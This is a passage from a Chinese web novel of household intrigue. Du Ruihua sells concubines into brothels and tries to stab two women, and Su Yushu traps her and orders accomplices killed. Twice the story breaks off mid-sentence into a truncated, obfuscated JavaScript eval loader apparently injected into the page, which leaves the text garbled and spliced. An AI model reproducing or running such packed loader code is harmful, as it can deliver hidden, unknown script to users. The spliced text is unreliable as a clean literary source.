“五小姐,五小姐和那马二马三……小的看得不太真切,只是有几次见她们谈笑,那马大还摸了五小姐的手……” “放肆!” 杜蕊琴“腾”地一下从椅子上站起身来,把苏玉淑也吓了一大跳。这种流言要是传出去,做不了人的可不止她杜蕊华一个下贱坯子,整个杜家都要被人笑掉大牙。 福临着急地挺起半个身子:“大小姐我真的没胡说,您可还记得桃花姑娘?” “桃花姑娘?” “是,就是日前,日前被打发了的那个小妾!”福临急的直吞口水,“那日是五小姐发了话,要把桃花姑娘卖了。小的……小的曾倾心于她,想着给那田牙婆点儿银子,打点一番少受些苦楚,谁知……谁知刚到地方,就看见五小姐倚在墙角和马大马二说着话,三个人十分熟悉的样子,那马大还趁别人不注意,摸了五小姐的手!而且那马二也,也那样地看五小姐!可是我见五小姐并不生气,我也就不敢再上前,就由得他们将桃花姑娘塞上了车……” 苏玉淑在想,自己到底要不要先走。 这种家宅之中的私密事她总是不方便听的,况且她与杜蕊琴仅仅是合作,杜蕊华是她的妹妹,无论如何都不关她的事。杜蕊琴看到了她的左右为难,她定了定心神,可眉眼之间仍然能看出那份挣扎与痛苦: “还有没有别的。” “这次真的没有了,大小姐,真的我发誓,我真的什么都不知道了您放过我吧……” 杜蕊琴站起身来,她的眼中没有丝毫的怜悯,她像看垃圾一样看着地上匍匐着的男人,他是这样的卑微与丑陋。 如同一只蝼蚁。 苏玉淑上前扶着她的手,二人重新回到阳光下时只觉得恍若隔世。苏玉淑有些不好意思地开口:“姐姐,其实你刚才可以打发我出去的。” “无妨。”杜蕊琴的笑看上去有些疲惫,“好事不出门,坏事传千里。好在今天听到的人是你。” 苏玉淑眼神暗了下来,她突然就有些心疼这个一力支撑的女子,她也不过大自己一岁啊。就算苏家此刻面临大祸,但好歹是一家和睦没什么弯弯绕绕的门路的,这杜家真真是个吃人不吐骨头的地方,疯的、卖的、死的……杜蕊琴到底要在这么个地方消磨到哪天才算个头呢? “蕊琴姐姐。”她思量再三,还是说出了这句话,“我去把他杀了。这种事知道的人越少越好。” “不可。” “为什么!姐姐,现在可不是心软的时候啊!” “并非我心软。玉淑妹妹,你比我更通古博今,又怎么会没有读过四书呢。” 苏玉淑的眼睛突然亮了:“你是说……” “正是生于忧患死于安乐的道理。就算我再恨她,但杜蕊华能在内在外都掀起风浪来,必然是有她的筹谋的。眼下杀了福临简单,可是只有他安然回去了,杜蕊华才能放松警惕,否则又怎么会露出马脚。” 苏玉淑点点头:“姐姐所言极是,是我考虑不周了。” “你哪里是考虑不周,你只是关心则乱罢了。更何况……”杜蕊琴语气一顿,“她能打通这条路,未必就不能走别的路。” “是了,而且就算她在杜家手眼通天,可外面贩卖走私的事她说了可不算。”苏玉淑眼珠一转已是计上心来,“蕊琴姐姐,我们要把她勾出来才是,不放点儿饵料,鱼儿又怎么会上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“五小姐,您那日派小的去打探,我就偷偷绕到了青莲院里面,哪有像她们说的那样开不下去了,分明就是什么事都没有人多得很!我问了一个喝多了的客人,他告诉我那云姑娘和霞姑娘就在青莲院的最顶层接客呢!只不过是我没那么多银子,不能上去一瞧就是了。我又给一个小二塞了点银钱,他偷偷地想带我去瞧,谁知,谁知我俩刚到二楼就被那打手抓住,他们把我关起来一顿毒打,抢了我的钱还把饿着我,我这是偷偷寻了机会自己跑出来的呀小姐,您一定要为我做主啊!” 杜蕊华将信将疑地看着他:“他们怎么知道你是杜家的?而且……你就这么轻易跑出来了?没有人看管?” 福临一把鼻涕一把泪的,声音都抖了起来:“五小姐您不知道,那王婆子认得我,就是她做的局叫了人过来给我一顿好打,这手指活生生地让他们折断了三根啊!小姐啊!您瞧瞧,您瞧瞧这帮黑心的下手有多狠……小的能跑出来是因为,是因为……您看这个!” 他从破烂的衣衫里掏出一张纸条,杜蕊华让下人拿到眼前一看,上面歪歪扭扭写着一行字: “明晚戌时,请五小姐青莲院一见。” “这是一个不认识的婆子给我的,她和我说,说得罪了杜家,王婆子这生意算是做到头了。她愿意为小姐效犬马之劳,顺便帮小姐收拾了这两个不听话的丫头。这婆子说完就支开了看守的两个汉子,我这才跳了出来,福临才留了一命见小姐您啊!” 杜蕊华勾起嘴角,她的表情饶有兴味,看不出心情的好坏:“那两个贱婢当真被藏在青莲院了?” “肯定是了,她们就是为了找咱们家多要些钱诓您的呢!这堆人心是真黑,都算计到您头上——” “你认得那婆子了?” “是,再见到小的一定认得出来。” 杜蕊华没兴趣听他的废话,她站起身来揉了揉有些酸痛的脖颈,一双眸子透露出阴狠的神色: “去找个郎中看看你那爪子,明日随我一同去。青莲院……好极了……我倒要看看她们打的什么如意算盘!” 21. 第二十一章 “小姐……您打扮成这样怕是不太好吧?”梳头的嬷嬷几番犹豫下还是开了口,“这般打扮可不像是大家的小姐呀……不如老奴给您换个公子哥的式样,也好掩人耳目……” 杜蕊华从镜子里打量着自己。她少有地穿得如此的娇艳,甚至是有些妖娆了。黄铜镜中映着她合欢红的石榴裙,外面锦葵红的罩衫则更显风韵,她本就有些瘦弱的身体在一席红色之中被衬托得更加弱柳扶风,不堪一握的腰肢软得和绸缎似的。杜蕊华看着镜中的嬷嬷,淡淡地瞥了她一眼:“去把我那个羊脂玉如意簪子拿来。” “小姐,那是您母亲留下的……” “嗯,拿来。还有那只并蒂莲云母南红珠步摇也一并带上。” “小姐您这是……”嬷嬷愣在她身后却一步未动,“您打扮成这样,她会伤心的!” “伤心?她为什么会伤心。”杜蕊华语气虽轻,可手上却使了力气推开了嬷嬷,“她嫁到杜家来的时候,就该想到自己会伤心。哦……我忘了。” 她从妆奁里找出自己珍藏的首饰,对着镜子细细戴好:“死人是不会伤心的。您说是吧?” 嬷嬷吓得直接跪倒在地,她低着头不敢看面前的少女,仿佛面前的不是自己小姐而是地狱里爬出来的索命野鬼:“老奴,老奴不敢……” “嬷嬷您紧张什么呀。”杜蕊华把手伸到她的面前,“我只是想着,要去青莲院那种地方,打扮成这副狐媚模样是最不引人注目的。我的身量如此娇小,就算扮成男人也没人会信的,您说是吧?” 嬷嬷看着面前这只白嫩的小手,颤颤巍巍地自己爬了起来。不知怎的,面前这张娇艳的脸忽而和二十年前那张脸重叠在了一起——那是她的母亲,自己一直侍奉的小姐。她家小姐天真烂漫又有些任性妄为,居然和当时正在经商游历的杜少爷,也就是现在的杜老爷搞在了一起,直到肚子大了起来家里才知道。可杜老爷当时已经娶妻,她只能做了妾室嫁的凄凉。进了杜家以后,她诞下了杜蕊华没过几年就撒手人寰,只留她一个娘家带来的老婆子和五小姐相依为命直到如今。 杜蕊华和她娘生得真是越来越像了。但她和她母亲又不相同,杜蕊华的一双眉目之间毫无她母亲那种天真劲儿和傻气,有的只是心机与算筹。 “嬷嬷照顾我这么多年,没有功劳也有苦劳,以后不要动不动就下跪。我杜蕊华的院子里不需要这样,嬷嬷您可明白?” “是,老奴明白。”嬷嬷从她的手里拿过首饰,“让我来给您戴吧,好端正些。” 杜蕊华笑笑,没再说话。 这里可真是繁华啊。 这美人街她从来是只听说过没见过,杜蕊琴和那老妇如何肯放她出来。杜蕊华深深地吸了一口这里的空气,她只觉得自由而甜美,是在杜家从来享受不到的味道。 “五小姐,咱们这就到了。”马夫压低了声音道,“一会儿可要我陪您上去啊?” “自然有劳马大哥。只是……你不能称呼我为五小姐。” 马夫的口中发出两声不怀好意的笑声,他抬起头来,刚刚还隐藏在草帽下的脸此时在两旁铺子灯火的映照下显得格外狰狞:“那要怎么称呼您啊?我们哥俩总不能和叫那群窑姐儿一样叫您吧?” “无妨。怎么称呼不要紧,只是别露了马脚就好。”杜蕊华撂下帘子将自己隐入黑暗之中,外面的车水马龙仿佛都与她无关。她孑然一身在世,荣华富贵也好杀身之祸也罢,无论那样都是只走这么一招遭的。只要她想,就算是拉着别人一起下地狱又如何呢? 谁知道死了以后会是什么样。 再说了,死人也没什么分别。都是躺在那儿任人摆布,和案板上的猪肉有什么两样。 “吁——” 马大的声音打断了杜蕊华有些纷乱的思绪,周遭一下子更加热闹起来,男女相乐的声音不绝于耳。对于她这样一个出身大户又内向的女子来说,这些声音本该是吵嚷万分非礼勿听的。 可杜蕊华却不觉得。 一股子冰冷却沸腾的血液正在她的四肢百骸里叫嚣,她兴奋极了。杜蕊华如同一只即将奔赴战场的迅马,她闻到了血的气息,听到了铁马金戈的声音,感受到了扑面而来的杀气。她是这样的迫不及待,哪怕那地方本不应是她去的。 “五小姐,您下来吧。”马二的声音在车外响起,旋即她听到了马大的哈哈声: “还叫五小姐呢,华姑娘可不许咱们这么叫。” 两个人发出的粗俗的笑声惹得路人纷纷侧目,可就在杜蕊华下车之后却又把头扭过去了。不知道又是哪儿来的风尘女子,世风日下而已,也没什么好看的。 “带路吧。”杜蕊华微微一笑,她手中捧着一支团扇,上面细细画着西汉仕女图。她略略用团扇遮着面庞,一副秦楼楚馆的做派,却也大大方方的不怕人瞧。毕竟这师城里没什么人认得她,就算认得也是那世家大家的小姐,和那杜蕊琴一个德行。 除了她,谁又会来这儿呢? 谁又相信,堂堂杜家小姐会自甘卑贱呢? 见杜蕊华这副样子,马大哂笑两下,当即伸了手去揽她的胳膊。马二也笑得猥琐,见自己大哥这般肆无忌惮,自己也是放肆了许多。他瞄着杜蕊华的胸口,一双眼睛就没离开过那一亩三分地。 杜蕊琴刚到青莲院的门口,里面久等的福临和婆子便立刻迎了上来。周遭全部是来这里寻欢作乐的客人或是沦落红尘的可怜人,她这身打扮并未惹人多做注目。她就在几人的簇拥下上了四楼,马大和马二被她留在房间外把手,福临则被打发回去了,屋内只留了她和那脸生的婆子。 杜蕊华环顾四周,这里比起外面倒是雅致得很,不像是青楼的装潢,倒有些像是茶馆。她坐在正坐上,居高临下地发问道: “您就是那给我传纸条的妈妈吧。” “正是老身了。”这婆子弯着腰站在一旁,眉目之间满是谄媚,“五小姐,听说您这路的生意……” “诶,妈妈急什么。”杜蕊华一副不紧不慢的样子,“生意姑且先放一放,我这人一向是喜欢把旧账清了再做新账的。还不知道妈妈怎么称呼?” “老身姓周,这里的人都叫我周妈妈。” “周妈妈,云霞二位姑娘可还在青莲院啊?” 周婆子一顿,犹豫了一下点了点头。 “那便是了。不知道妈妈方不方便,让我去见见二位姑娘呢?” “不可不可,这怎么使得!”她被杜蕊华吓得连连摆手,“咱们见面本就是躲了那王婆子的,她这几日生了病我才能当家做主,要是两位姑娘那边闹起来了我可没法收场的呀!要我看,要我看咱们还是先谈谈生意,万事银钱开路不是……” “银钱开路?”杜蕊华冷哼一声,扔出两锭银子,“这个够不够?” 周婆子两只眼睛死死地盯着银子,却依旧没有松口:“小姐,这个真不行……外面人多眼杂……” 杜蕊华拿起那两锭银子,直接拍进她的手里:“周妈妈,这两锭银子只是个开始。这点小钱我都是瞧不上的,以后我们把路子做起来,要多少银钱没有呢?您说是不是?再说了,我只是想见见二位姑娘,她们这一番筹谋我也是佩服的。既然事情已经这样了,再多作纠缠也是无益,倒不如我们相见了把话说开各自相宜,也能商量出个子丑寅卯来,您说是不是?” “这……” 见周婆子还十分犹豫,杜蕊华又露出一锭银子来:“周妈妈,我虽然年纪小了些,可怎么也是杜家的人。您可千万不要敬酒不吃吃罚酒啊……” 周妈妈看了看手里沉甸甸的三锭官银,她又看了看杜蕊华人畜无害灿若桃花似的面容,她咬了牙狠了心,一把将银子揣进怀里: “您和我来。” “就是这里了。二位姑娘就在里面,只是……” 杜蕊华有些不快:“有话就说。” “只是霞姑娘自从回来就病了,您千万要隔着屏风和二人说话才好,不然两边无论哪边出了事,小的都担 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“分寸?你个青楼的婊子还知道分寸?”杜蕊华越说越来劲,她把自己那些积年的怨气都撒在了两人身上,难听的话是一句接着一句,“什么下场?你们本就是贱命一条,还想着登堂入室呢?也不想想自己配不配!能换点钱说明你们还有用,没用的人都被打发喂了狗了!” “那五小姐你呢?” “我?”突如起来的反问让她有些措手不及,“我又怎么了?” “五小姐,你说我们和男人睡觉,说我们卑微轻贱,那你呢?你和两个下人勾肩搭背眉来眼去举止亲密,你就不是下贱了?还是说,你就喜欢男人围着你转,是个什么男人并不重要呢?” 杜蕊华只觉得一股热血直冲脑门,她不知道云姑娘是如何知晓的,但她此刻只明白一点—— “好啊,好啊。你一个卖笑的都能驳我的话了。” 她从袖管里摸出一把匕首,轻轻在房间里踱着步子。想来是这房间隔音极好,外面也一直没什么动静。杜蕊华走到屏风跟前,画上的一名女子手中提着灯笼,正弯腰笑着。她怎么看怎么觉得面目可憎,里面的二人也没有再搭话。 嘶—— 杜蕊华猝不及防地划向屏风,布料撕裂的声音让她觉得无比的畅快,她只觉得自己此刻仿佛是妺喜在世,摧毁绸子原来是这样一件让人神清气爽的事情。她忍不住笑了起来,嘴角在烛火的映射下变成可怖的弧度,破碎的怒吼声混着尖利的笑声尽数撕扯着,直到她实在是没得可以划才一脚踢翻了屏风。 屏风后的二人背对着她,还是那样静静的。 仿佛这世界上只有她一个疯子。 她们的沉默是一剂最好的猛药,杜蕊华的耳边甚至响起了尖锐的蜂鸣声,眼前的一切都模糊起来,一个声音在她的脑海里越来越强,那是她自己的声音,是她母亲的声音—— “杀了她们。” 既然都要死,那自己为何不送她们一程呢。 杜蕊华握紧了手中的匕首,她的虎口早已磨得隐隐生疼。她踢开了地上的碎木头,声音阴沉: “黄泉路上,该喝的汤就喝了,该忘了的事就忘了。下辈子投个好胎吧,别再受苦了。” 她笑得灿兮惨兮,她的心和面庞早已变得狰狞如厉鬼: “去死吧!” 22. 第二十二章 杜蕊华握紧了刀柄对着人就凶狠刺去,尽管她一向心狠却并没有亲自动过手。她只觉得气血翻涌,平时那些做小伏低,那些强颜欢笑都变成了此刻刺向云姑娘的利刃。平时看杜蕊琴的脸色就算了,宁朝云她一个卖肉的,也能骑到她头上作威作福不成? 再者说,就算闹出些什么她也是不怕的。 马大马二一向好色并为自己所用,福临也早就在后院巷子拐角处备好了小车,就算她在这里把这两个小贱人杀了也能扮做艺伎溜之大吉,这里无人认得她,她自然能走的神不知鬼不觉。 这些年的委屈也算是吃够了。 她没什么好怕的。 杜蕊华死死握住自己唯一的武器,狠狠地朝那人的后背刺去。在她预想之中的猩红和温热却并未随之到来,她以为的漫天血花和尖叫更是无影无踪。她的刀还没碰到人的后背就被人捏住了手腕,只听得“嘎嘣”一声脆响,杜蕊华的喉咙里便不自觉地发出了一声叫嚷。还没等她反应过来,她的腿窝就传来一阵生疼,整个人不受控制地跪倒在地发出一声巨响。 “五小姐还真是……我可真是小瞧你了。” 杜蕊华在惊诧之中抬起头来,面前之人已经转过身子,她翘着二郎腿就这么居高临下地看着自己—— “五小姐,你可想到我会在这儿啊?” “苏玉淑!” 疼痛和屈辱一时间全部涌上来,杜蕊华分不清究竟哪一个令她更为痛苦。她试图扬起头来让自己看起来不那么狼狈,可还没来得及用力就被身后之人按下,整个人趴在地上如同俯首称臣,就连一丝反抗的力量都没有。 就和她童年时,看着自己母亲死的时候,一样。 “鸩,把刀收了就行,别伤着她。”苏玉淑挥挥手,鸩反拧一下杜蕊华的手腕就轻松夺下了那把小刀。她不禁拿在手里观摩了一番,实在是小的可怜,怎么会有人觉得这种东西就能拿来杀人呢。苏玉淑向她点了点头,鸩当即放开了杜蕊华被扭在身后的双手。杜蕊华旋即瘫倒在地,她揉着自己的手腕落下两行清泪: “玉淑姐姐……蕊华,蕊华不知道你在这儿,是蕊华鲁莽了……” 苏玉淑不禁哑然。她怎么也没想到,这杜蕊华就在试图杀人灭口之后不到一盏茶的功夫里装得像个柔弱小白兔似的,这要是不知道的人进来,只怕是觉得苏玉淑带人把她毒打了一顿呢。 “呃……你先别哭。我今天到这里来……” 杜蕊华声泪俱下:“我知道,我知道您一定是受了蕊琴姐姐的蒙蔽,不不,您一定是应了她的嘱托才到这儿来的,我不怪姐姐的,真的!” “蒙蔽?什么蒙蔽呢?”苏玉淑饶有兴味地看着面前的这个娇弱女子,“你且说来听听。” “玉淑姐姐你不知道,大姐姐在家一向是说一不二的,我又不得父亲的疼爱,在家中孤苦无依只能自求生路。我知道我的生意是有些见不得人的,大姐姐一定也是和玉淑姐姐一顿好说,但事实并非如此,我也只是听了姐姐的话,替师城里那些达官显贵,那些……那些人打发家中的累赘而已。玉淑姐姐,您可千万不要听了蕊琴姐姐的话,我并非那大奸大恶之人啊!” “那你又为何现身此地呢?” “我……我是遭人算计,来此面见生意上的人,哪里知道玉淑姐姐在这里!想来玉淑姐姐也是被人叫来这里的是不是,那就是故意让姐姐误会于我,这人必定是有所筹谋的呀姐姐!我也只是听了蕊琴姐姐的主意,这些事情都并非出自蕊华真心——” “谈生意……需要穿成这样子吗?”苏玉淑实在是有点看不下去了,她也没有那个耐心再在这里赔她演戏,“五小姐,我是自己要来这里的。和你姐姐没有关系。” 听到这句话,杜蕊华的心一下子就凉了。这许多时间过去外面竟然一点动静没有,想来是马大马二早已被人拿下。自己苦心经营了多年的财路就这么被断了,就连出卖色相才得到的两个帮手也轻松折了进去。一想到这里她怎能不恨!凭什么她杜蕊琴生来就什么都有,要风得风要雨得雨,而她就失了母亲做了别人案板上的鱼肉! 事已至此,她的确也没有什么再装下去的必要了。 杜蕊华低下头去沉默半晌。她抬手擦了擦脸上的泪水,一举一动莫不是杜家小姐的风范。只是她再抬起头来之时,眼神里早就没有了那股娇柔,取而代之的是无尽的恨意与恶毒: “苏玉淑,你用不着惺惺作态在这儿装好人。你我无冤无仇,你为何要站在杜蕊琴那一边!” “无冤无仇?”苏玉淑冷笑一声,“这话你自己信吗。再说了站在哪一边……难道不是我的自由吗?” “她杜蕊琴给了你什么好处?苏小姐恐怕还不知道吧,在杜家——” “在杜家难道已经是你说了算?难道是你插手了杜家的生意?更何况……与我苏玉淑合作并不需要什么好处。” 杜蕊华冷笑一声:“你不是对我家的事知道得一清二楚吗?既然你什么都知道,又为何在这里逼问我呢?想来苏小姐也是有话要从我嘴里套,不是吗?” 果然是个厉害人物。 看来对付她硬来没用,也得想点别的法子了。 “去把她带上来吧。” 鸩有些迟疑,苏玉淑摆摆手:“无妨。我一个人可以的。你记得出去和他们说一声,那几个人该说的都说了就没必要留了,做的干净点。” “小姐,杀人的事您大可以放心。” 听着门在自己背后开启又关上的声音,杜蕊华就知道自己这局已经输了。自己本无依无靠无权无势,依靠几分姿色几分经营才把手伸到这个地步,谁能想到就在这一步飞升之际这苏家小姐居然主动入局。 若是上面那位大人知道了…… 苏玉淑见她眉头紧皱,心里已经猜到八分。自己想知道的事情,她必定知情。只是如何才能让杜蕊华心甘情愿地说出口呢。 “苏小姐不必费心了。你我都是聪明人,就没必要兜圈子了。”杜蕊华坐直起身子来,“那杜蕊琴一心为了她娘,我虽然知道你苏家无辜,但是能如了杜蕊琴的愿的事儿我是万万不会做的。” “你可知道贩卖私盐是要掉脑袋诛九族的大事!”苏玉淑简直不敢相信自己的耳朵,“你要知道你出了事,你自己也要死!你外祖父家也要一并跟着发落,更别提你亲近之人,他们会是——” “我管她们什么下场!”杜蕊华一声冷笑,她的声音忽而尖利起来,“我死了又怎么样?活着是件很有意思的事情吗?如果我死了能让整个杜家给我陪葬,那我真是无上的光荣啊!凭我一己之力就能扯垮两家,我要什么下场?我的坟墓就是你们的坟墓,我死后自有你们相伴,我要考虑些什么?看着你们这些高高在上的人一朝落难,对我来说又何尝不是一种和光同尘!” 苏玉淑气不过,她实在是讨厌这人两面三刀的虚伪样子,她此刻气得直想打杜蕊华一顿。她刚想给这不知天高地厚的小丫头片子一个教训,又突然想起自己来这里之前,林长亭托人带来的话: “多思多想,稍安勿躁。” 这可当真是忍字头上一把刀啊。 “我们姑且先放下我们两家的事不谈,我与你其实也只有这一点的矛盾罢了。只是五小姐,你给杜老爷的房里挑选那些无辜女子,又把她们丢进那虎狼窝的时候,有没有动过一丁点儿的恻隐之心?若你可怜,她们岂不是更加可怜?” “哈哈哈哈哈哈……”杜蕊华从未笑得这般真心,“苏大小姐,你若是觉得她们可怜,你怎么不觉得我可怜呢?俗话说得好,可怜之人必有可恨之处,你要是觉得她们可怜,你把她们买回去养着就是了,你不是有钱吗?你不是不要好处吗?你在这逞什么口舌之快,你在这里装腔作势的装什么好人!你,杜蕊琴,还有那老妖婆通通都是些伪君子罢了,我这个真小人又比你们差到哪里去?” “你怎知我没有花这个钱呢。” 木门应声而开,楼下的丝竹之声不知何时已经断绝。一名女子在鸩的带领下缓步走到杜蕊华面前,她 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“带走我?你能把我带到哪里去?我可是杜家的女儿!”杜蕊华的声音里多了些不易察觉的颤抖,她猛地站起身子指着二人的鼻子蛮横道,“怎么,我竟然不知道你们两个就能做了杜家的主?整个师城难不成是你苏家说了算!” 苏玉淑摇摇头:“并非是我苏家说了算,而是你不该招惹我们苏家。原先王五的村子里有不少恶人,已经没有活口了。听他们回报,那里还有不少走黑路的女子还幸存一条命,于是我索性把那个庄子买了下来,把她们就安置在那里。五小姐,你说,要是也把你放在那里过日子……你意下如何呢?” 看着她这副风轻云淡的样子,杜蕊华不免一阵胆寒。她可以死,她不在乎,可若是真如苏玉淑所说把她丢进自己一手制出来的坟墓里,那才真是求生不得求死不能。她冷笑一声,故作无畏的样子说道: “苏大小姐,即便你苏家手眼通天富可敌国,我杜家却也不是吃干饭的。父亲对我宠爱有加,在家中不受宠的是姐姐!若是我今天没能回得来,你不妨猜猜他会不会与你家善罢甘休!” “五小姐,你还真是知人不明。”苏玉淑叹了口气,面前这个垂死挣扎的人一时之间竟然显得如此可怜,“他连枕边人都能一茬接一茬地换,就连你的三姐姐疯了他都只是请了风水先生走了个过场,你不过是对他还有几分用处,你真当他会在意你一个小庶女的死活吗?” “你胡说八道!”杜蕊华气急败坏地瞪着二人,她歇斯底里得头都有些发晕,“你胡说什么!我苦心经营做小伏低,父亲离了我根本就得不了半点儿舒心,你才是真的被杜蕊琴她们母女蒙了眼睛,你当我父亲也是瞎的不成!你根本不知道——” “根本不知道的人是你。”苏玉淑没什么耐心再和她纠缠,面对精神已经在崩溃边缘的杜蕊华,她势必是要一举击破—— “杜蕊华,你回不去了。我苏家已经出面,把你的所作所为告知了杜家主母。你父亲知道之后只是说了句和他没关系就不再出面,主母的意思是……任由我们处置。” “不可能!不可能!”杜蕊华一个箭步上前抓住了苏玉淑的领口,“你骗人!我父亲说过的,他唯一所爱就是我娘,我和我娘长得像,几个女儿里他最喜欢我!他不会不要我!他说过我事情办的好,他都夸过我……” 苏玉淑扯下她的手,表情是那样的怜悯:“你难道还不明白吗。你的事情办的好不好不重要,你做的事对他自己有利,那就是好。你做的事哪怕有益于杜家而对他无利,那便是不好。你自己分明都清楚的,这么多年你都活在自己给自己编造的假象里难道不辛苦吗?你得到的爱是假的,你做的事是为人不齿的,甚至于你的敌人都是假的,你不觉得自己很可悲吗!” “不可能!都是杜蕊琴,都是她们挑唆,我要她们死,我要她们下地狱,就和当初她们杀掉我娘那样——” “你的母亲是父亲杀死的。” 杜蕊琴就这么站在门口看着疯癫的杜蕊华,两个人之间隔着一条烛火的光带—— 宛若跨不过的银河。 23. 第二十三章 “你以为你说的话我会信吗。”杜蕊华即便身体颤抖也依旧将身体挺得笔直,“杀了我母亲最大的好处不还是你们?你们嫉妒我娘受宠才杀她灭口不是吗!苏玉淑,你还不知道你面前站着一个什么人吧!” 杜蕊华越说越激动,她仿佛扯下了往日戴在脸上的那副柔弱面具又扔在地上狠狠踩上几脚: “她和她的母亲!杀了我的母亲!那日我回到院子里就只见到我母亲悬在梁上的尸身,她的身体还温热着,那年我才不到十岁!你们如何敢明目张胆做下这等事!你们就不怕遭报应吗!” “报应?”杜蕊琴的声音很轻,她叹了口气,表情是说不出的复杂,“这么多年来,你在父亲面前搬弄是非也好,又或者在外面散布我的谣言也罢,我和母亲都看在你幼年丧母的份儿上不曾计较,没想到你真真是越长越歪。今天既然大家已经撕破了脸面不妨就把话说个清楚,我再说一次,你娘不是我们杀的,是你一直阿谀奉承的那个亲爹动的手!” “我不信!”杜蕊华用力嘶吼着,若不是苏玉淑在中间拦着只怕她要扑上去撕了杜蕊琴的脸,“他为什么要杀我娘!为什么!” 杜蕊琴看着她眼泪铺了满脸,她终于还是没有狠下心。杜蕊琴转过身去,别人只能看到她绷紧的脖颈:“上一代人的事情,你没必要知道。” “我一定要知道。”杜蕊华一字一顿地说道,她不甘心,也不死心。她绝不相信自己恨了这么多年的人是假的,更不愿相信自己这么多年来利用依靠的人居然才是杀母仇人。 “当真要如此吗?” “当真。” 杜蕊琴张了张嘴却没有出声。她的耳边进来总是响起母亲的叮嘱—— “琴儿,你心太软是要出事的。” “你说啊!”杜蕊华的声音混杂了些许哭声,自打她和苏玉淑撕破脸后便不再哭泣,在杜蕊琴面前她更是不想认输落泪。可她一定要一个真相,她只想要一个真相。到底自己经营这么多年为了什么,到底她算是个什么。 “你说啊!”杜蕊华紧紧抓住了她的手,不自觉地摇晃着,如同一个哭泣的孩童—— “姐姐!你说啊!我求你了!姐姐!” 这久违的一声姐姐,杜蕊琴心里终于还是不忍。 这么多年来,她眼瞧着这个妹妹被三妹妹蹬鼻子上脸的欺负,自己不是没有管教过干涉过,只是她看不见的时候杜蕊华过得便更加痛苦不堪。母亲管着一家,也是有意疏远这几个庶女,任凭她们自生自灭也就罢了。说到底,还是杜家这些年来对不住她在先。 她一个小女孩儿,还能指望她在那样的困境里长成什么样子呢。 罢了,罢了。 她走上前去,苏玉淑搁在二人中间不肯让开。杜蕊琴拍了拍她的肩膀,苏玉淑这才迟疑地站到了一边,可依然保持着待发的姿势。若是这杜蕊华还想做什么她也好第一时间就能护住杜蕊琴,不至于真出了人命才是。 “当年父亲娶了母亲之后,母亲娘家带来的生意慢慢地都到了他的名下,那时他还没有撒手不管,人虽然花心却也还算得上是个好的。你母亲过门时正赶上家里的生意需要照看,他一年也回不来几次,尤其是你出生之后他更是忙于经营。后面你也知道,他陆续带回来几位美貌的,你的母亲更是见不到他几面。后来……后来……” “后来怎么了?”夏日已经毫不迟疑地降临,可杜蕊华的手冰得和三九天里的井水一样。她盼望地看着杜蕊琴,想从她口中知道那尘封已久的往事和自己最想触摸的真相。 杜蕊琴叹了口气继续说道:“后来……后来你母亲她……她……” “你说啊!” “她和外面的一个账房好上了。” 杜蕊华只觉得自己被雷劈了一般,从头到脚都是麻木的。她动弹不得,想说什么又说不出,她只是微微地摇着头,嘴角还挂着一抹嘲讽似的微笑,只是双眼里两行清泪潸然而下: “不可能。你胡说。你胡说的。我娘不是那种人。你胡说。” “一直照顾你的那位嬷嬷,她一直是知情的。只是我母亲发了话,这样的丑事不许见人,在杜家便没有人敢提起,尤其是在你面前提起。你若是不信我的话,你大可以回去亲自问她。” “我不信。”杜蕊华如同一只骄傲的孔雀般扬着头,“我不信!” “你信也好,不信也罢,这就是你要的真相。” “让我回去。”杜蕊华突然来了这么一句,她直勾勾地看着门外,眼神决绝如坚冰,“这局我已经输了。我在家内的两个帮手已经被你们杀了,外面的路子也被断了,你们不必担心放虎归山,事情做不好自然有人会处理了我。” 苏玉淑敏锐地察觉了她话里的意思,她看向杜蕊琴,可她却并无半分诧异的模样。杜蕊琴让开了身子,大门就这么大咧咧地敞开在杜蕊华的身前: “你要回杜家?请便。” 苏玉淑忍不住拦了一句:“那我要知道的事儿呢!” “你想知道的,待我确认了之后你自然能知道。若是你今天一味扣我在这里,我就算寻了短见也绝不会让你们如愿。” “玉淑,让她去。”杜蕊琴深吸一口气,“我的车马就在后门,你直接去就是了。” 杜蕊华冷冷地看了二人一眼,却只是抿了抿嘴什么都没有说。她头也不回地向着那出口跑去,仿佛那是自己人生最后的光亮。不问过了嬷嬷她是绝对不会相信杜蕊琴的话的,她还记得母亲笑起来的样子,是那样明媚可人。虽然她算不上大家闺秀名门望族,可也是自小宠大的大小姐,怎么可能做下这种令人不齿之事!她怎么会弃自己的名声,女儿的未来,娘家的脸面不顾,她这样一个心思单纯的人怎么可能! 一定是有误会。一定是杜蕊琴在诓她,在挑拨! 杜蕊华奔跑在青莲院的楼梯之上,她丝毫没有在意这素来喧闹的楼里面居然一个人都没有。她飞奔向停的正正好好的马车,还没等她发号施令车就一溜烟驶向杜家。 她蜷缩在车厢里,用尽力气抱着自己。 骨头可真是硌得慌啊,原来自己有这么瘦。 杜蕊华还记得,一开始是杜蕊琦那家伙抢了自己的饭给下人,还克扣她们院子里的用度吃食。后来被父亲发现后,他狠狠训斥了三姐姐一顿,她的日子便好过两天。可自己若是过上了两天好日子,父亲便不再在意她,更不会在意杜蕊琦的羞辱和霸凌。后来她索性狠了心,就这么一直饿着自己,在那最长身体的几年里,她习惯了的是胃里空空,习惯了的是深夜肚子咕咕作响,习惯了生病虚弱,也落下了比同龄人更娇小一圈的身躯。但是她换来了父亲的偏爱,正是这偏爱让她生出了几分权力,让她尝到了金钱和主宰生死的快乐。 父亲。她还能称他为父亲吗。 杜蕊琴说的好像也没什么错。 自己这些年都做了些什么呢。为了哄他开心,她不惜联系了那些人往家里不停地塞小妾,只有这样她才能在父亲跟前有一席之地,在杜家才能不被轻视和作弄。发卖那些人的时候,她一贯是打着杜蕊琴的旗号做的,外人皆传她狠辣剽悍,杜蕊华实在是得意的很。 可是如今看来,自己竟然做了一场大梦。 